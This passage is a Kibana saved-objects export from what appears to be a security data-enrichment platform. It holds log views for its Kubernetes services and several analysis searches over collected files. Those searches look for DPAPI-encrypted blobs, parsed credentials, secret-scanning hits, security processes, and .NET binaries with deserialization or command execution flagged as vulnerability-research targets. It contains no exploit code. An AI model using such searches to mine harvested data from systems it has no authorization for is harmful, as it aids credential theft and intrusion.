+ {"attributes":{"allowNoIndex":true,"fieldAttrs":"{}","fieldFormatMap":"{\"fileObjectURL\":{\"id\":\"url\"},\"downloadURL\":{\"id\":\"url\"}}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"file_data_sourcecode","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"22aa12e1-deab-4f35-a413-5340bb141683","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"sort":[1671304274669,64],"type":"index-pattern","updated_at":"2022-12-17T19:11:14.669Z","version":"WzQyLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_ip","kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"file-processor\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"file-processor\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - file-processor"},"coreMigrationVersion":"8.3.3","id":"12695c50-7cd0-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,15],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzIyLDFd"}
+ {"attributes":{"allowNoIndex":true,"fieldAttrs":"{}","fieldFormatMap":"{\"convertedPdfURL\":{\"id\":\"url\"},\"objectIdURL\":{\"id\":\"url\"},\"extractedPlaintextURL\":{\"id\":\"url\"},\"extractedSourceURL\":{\"id\":\"url\"}}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"file_data_enriched","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"26360ae8-a518-4dac-b499-ef682d3f6bac","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"sort":[1671304274669,54],"type":"index-pattern","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM3LDFd"}
+ {"attributes":{"columns":["path","analysis.dotnetAnalysis.hasCmdExecution","analysis.dotnetAnalysis.hasDeserialization","objectIdURL","extractedSourceURL"],"description":"Searches for .NET files with deserialization or CMD execution.","grid":{"columns":{"analysis.dotnetAnalysis.hasCmdExecution":{"width":280.25},"magicType":{"width":287},"metadata.timestamp":{"width":213},"path":{"width":231}}},"hideChart":true,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"analysis.dotnetAnalysis.hasDeserialization:true or analysis.dotnetAnalysis.hasCmdExecution:true\",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[],"title":"Analysis - .NET Binary Targets for Vuln Research"},"coreMigrationVersion":"8.3.3","id":"41265860-69e6-11ed-b7f1-a33c99d56089","migrationVersion":{"search":"8.0.0"},"references":[{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"sort":[1671304274669,56],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM4LDFd"}
+ {"attributes":{"columns":["path","magicType","convertedPdfURL","objectIdURL"],"description":"A view that shows the links for office documents converted to PDFs.","grid":{"columns":{"magicType":{"width":227},"path":{"width":330.6666666666667}}},"hideChart":true,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"convertedPdfURL :*\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"exists\",\"key\":\"convertedPdfURL\",\"value\":\"exists\",\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"exists\":{\"field\":\"convertedPdfURL\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[],"title":"Analysis - Office Documents Converted to PDF"},"coreMigrationVersion":"8.3.3","id":"47f16280-3b69-11ed-9953-951df4a607ed","migrationVersion":{"search":"8.0.0"},"references":[{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,59],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM5LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"process-categorizer\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"process-categorizer\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - process-categorizer"},"coreMigrationVersion":"8.3.3","id":"496322c0-7cd7-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,30],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI3LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Service that extracts information from .NET binaries","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"GET /ready\\\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"dotnet\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"dotnet\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - dotnet"},"coreMigrationVersion":"8.3.3","id":"5d84b590-7cd5-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,47],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMzLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"elastalert2\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"elastalert2\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - elastalert"},"coreMigrationVersion":"8.3.3","id":"639dcea0-7cd8-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,24],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI1LDFd"}
+ {"attributes":{"allowNoIndex":true,"fieldAttrs":"{}","fieldFormatMap":"{\"objectIdURL\":{\"id\":\"url\"},\"originatingObjectURL\":{\"id\":\"url\"}}","fields":"[]","runtimeFieldMap":"{}","timeFieldName":"metadata.timestamp","title":"process_category","typeMeta":"{}"},"coreMigrationVersion":"8.3.3","id":"a005f4d8-3b6a-401d-b489-643ee0cc14f6","migrationVersion":{"index-pattern":"8.0.0"},"references":[],"sort":[1671304274669,51],"type":"index-pattern","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM1LDFd"}
+ {"attributes":{"columns":["metadata.agentId","processId","name","category.description"],"description":"Search for security process listings.","grid":{"columns":{"magicType":{"width":287},"metadata.agentId":{"width":156.25},"metadata.timestamp":{"width":213},"path":{"width":512},"processId":{"width":126.25}}},"hideChart":true,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"category.category : \\\"Security\\\"\",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["metadata.timestamp","desc"]],"title":"Analysis - Security Processes"},"coreMigrationVersion":"8.3.3","id":"65b1ac50-3b62-11ed-9953-951df4a607ed","migrationVersion":{"search":"8.0.0"},"references":[{"id":"a005f4d8-3b6a-401d-b489-643ee0cc14f6","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"sort":[1671304274669,53],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM2LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"GET /ready\\\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"ml-models\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"ml-models\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - ml-models"},"coreMigrationVersion":"8.3.3","id":"7aa0f300-7cd5-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,39],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMwLDFd"}
+ {"attributes":{"buildNum":53682,"defaultIndex":"0e93c4fb-c291-4d22-84da-e49ec27b959a","discover:rowHeightOption":-1,"history:limit":20,"isDefaultIndexMigrated":true,"savedObjects:perPage":50,"theme:darkMode":null,"timepicker:timeDefaults":"{\n \"from\": \"now-60m\",\n \"to\": \"now\"\n}"},"coreMigrationVersion":"8.3.3","id":"8.3.3","migrationVersion":{"config":"8.1.0"},"references":[],"sort":[1671304274669,11],"type":"config","updated_at":"2022-12-17T19:11:14.669Z","version":"WzIwLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"tensorflow-serving\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"tensorflow-serving\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - tensorflow-serving"},"coreMigrationVersion":"8.3.3","id":"824b4fe0-7cd7-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,33],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI4LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_ip","kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"*/prometheus/metrics*\\\" AND NOT log:\\\"*uri\\\\\\\":\\\\\\\"*\\\\/health*\\\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"gotenberg\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"gotenberg\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - Gotenberg"},"coreMigrationVersion":"8.3.3","id":"8bf00c40-7cd0-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,18],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzIzLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"elastalert2\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"elastalert2\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - elasticsearch-exporter"},"coreMigrationVersion":"8.3.3","id":"963b1cf0-7cd8-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,27],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI2LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Service that extracts text from documents.","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"tika\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"tika\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - tika"},"coreMigrationVersion":"8.3.3","id":"9b328870-7cd2-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,50],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzM0LDFd"}
+ {"attributes":{"columns":["path","magicType","objectIdURL"],"description":"Search for downloaded files that have DPAPI blobs within them.","grid":{"columns":{"magicType":{"width":287},"metadata.timestamp":{"width":213},"path":{"width":512}}},"hideChart":true,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"containsDpapi : true \",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[],"title":"Analysis - Files containing DPAPI-encrypted blobs"},"coreMigrationVersion":"8.3.3","id":"b9e9d7d0-3b61-11ed-9953-951df4a607ed","migrationVersion":{"search":"8.0.0"},"references":[{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"sort":[1671304274669,63],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzQxLDFd"}
+ {"attributes":{"columns":["path","magicType","nemesisFileType","objectIdURL"],"description":"Searches for files that have parsed credentials.","grid":{"columns":{"magicType":{"width":287},"metadata.agentId":{"width":121.25},"metadata.timestamp":{"width":213},"nemesisFileType":{"width":191.375},"path":{"width":306},"processId":{"width":126.25}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"parsedData.hasParsedCredentials : true \",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[],"title":"Analysis - Files with Parsed Credentials"},"coreMigrationVersion":"8.3.3","id":"d209edd0-3b72-11ed-9953-951df4a607ed","migrationVersion":{"search":"8.0.0"},"references":[{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"sort":[1671304274669,61],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzQwLDFd"}
+ {"attributes":{"columns":["metadata.timestamp","path","noseyparker.ruleMatches.ruleName","noseyparker.ruleMatches.matches.snippet.matching","objectIdURL"],"description":"Searches for files that have NoseyParker results.","grid":{"columns":{"magicType":{"width":287},"metadata.agentId":{"width":121.25},"metadata.timestamp":{"width":213},"nemesisFileType":{"width":191.375},"path":{"width":306},"processId":{"width":126.25}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"noseyparker.ruleMatches.ruleName: *\",\"language\":\"kuery\"},\"filter\":[],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["metadata.timestamp","desc"]],"title":"Analysis - Files with NoseyParker Results"},"coreMigrationVersion":"8.3.3","id":"12fc0ad0-91d6-11ed-ac72-710978b7b4f1","migrationVersion":{"search":"8.0.0"},"references":[{"id":"26360ae8-a518-4dac-b499-ef682d3f6bac","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"}],"type":"search","updated_at":"2023-01-11T17:33:34.609Z","version":"WzE4NywxXQ=="}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Logs for the es-connector, which is a python app that consume events and adds them into the appropriate Elastic index","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"es-connector\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"es-connector\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - es-connector"},"coreMigrationVersion":"8.3.3","id":"e2d110a0-7ccf-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,42],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMxLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Logs for the dpapi, which is a python app that consume events and adds them into the appropriate Elastic index","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"dpapi\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"dpapi\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - dpapi"},"coreMigrationVersion":"8.3.3","id":"ed76c3ee-40ce-4595-9179-94921835661a","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,42],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMxLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Logs for the pg-connector, which is a python app that consume events and adds them into the appropriate Postgres table","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"pg-connector\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"pg-connector\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - pg-connector"},"coreMigrationVersion":"8.3.3","id":"a5806f41-add2-4f58-bf7b-c0e64b23a773","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,42],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzMxLDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"Logs from all enrichment service pods with filters attempting to exclude common endpoints hit for health/metrics","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.component\",\"params\":{\"query\":\"enrichment-pipeline\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.component\":\"enrichment-pipeline\"}},\"$state\":{\"store\":\"appState\"}},{\"meta\":{\"alias\":null,\"negate\":true,\"disabled\":false,\"type\":\"phrase\",\"key\":\"log\",\"params\":{\"query\":\"GET /metrics\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index\"},\"query\":{\"match_phrase\":{\"log\":\"GET /metrics\"}},\"$state\":{\"store\":\"appState\"}},{\"meta\":{\"alias\":null,\"negate\":true,\"disabled\":false,\"type\":\"phrase\",\"key\":\"log\",\"params\":{\"query\":\"log:\\\"\\\\\\\"uri\\\\\\\":\\\\\\\"/prometheus/metrics\\\\\\\",\\\\\\\"method\\\\\\\":\\\\\\\"GET\\\\\\\"\\\"\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index\"},\"query\":{\"match_phrase\":{\"log\":\"log:\\\"\\\\\\\"uri\\\\\\\":\\\\\\\"/prometheus/metrics\\\\\\\",\\\\\\\"method\\\\\\\":\\\\\\\"GET\\\\\\\"\\\"\"}},\"$state\":{\"store\":\"appState\"}},{\"meta\":{\"alias\":null,\"negate\":true,\"disabled\":false,\"type\":\"phrase\",\"key\":\"log\",\"params\":{\"query\":\"GET /ready\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[3].meta.index\"},\"query\":{\"match_phrase\":{\"log\":\"GET /ready\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - All Enrichment 